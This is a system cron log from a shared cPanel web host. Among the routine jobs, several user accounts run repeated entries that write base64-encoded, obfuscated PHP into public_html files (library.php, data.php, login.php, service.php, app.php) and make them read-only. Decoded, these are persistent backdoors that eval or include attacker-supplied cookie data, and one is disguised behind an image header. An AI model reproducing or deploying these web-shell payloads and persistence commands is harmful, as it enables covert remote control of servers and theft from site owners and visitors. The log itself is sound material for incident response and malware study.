pjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:26:01 medusa CROND[14012]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:27:01 medusa CROND[14542]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:27:01 medusa CROND[14543]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:27:01 medusa CROND[14544]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:27:01 medusa CROND[14545]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 04:27:01 medusa CROND[14547]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:27:01 medusa CROND[14548]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:27:01 medusa CROND[14554]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:27:01 medusa CROND[14556]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:27:01 medusa CROND[14555]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:27:01 medusa CROND[14559]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:27:01 medusa CROND[14561]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:27:01 medusa CROND[14564]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:28:01 medusa CROND[5666]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 04:28:01 medusa CROND[5683]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:28:01 medusa CROND[5684]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:28:01 medusa CROND[5685]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 04:28:01 medusa CROND[5686]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:28:01 medusa CROND[5687]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:28:01 medusa CROND[5689]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:28:01 medusa CROND[5690]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:28:01 medusa CROND[5692]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:28:01 medusa CROND[5691]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 04:28:01 medusa CROND[5693]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:28:01 medusa CROND[5695]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:28:01 medusa CROND[5697]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:28:01 medusa CROND[5704]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:29:01 medusa CROND[29268]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Apr 19 04:29:01 medusa CROND[29357]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 04:29:01 medusa CROND[29358]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:29:01 medusa CROND[29359]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:29:01 medusa CROND[29360]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:29:01 medusa CROND[29361]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:29:01 medusa CROND[29362]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
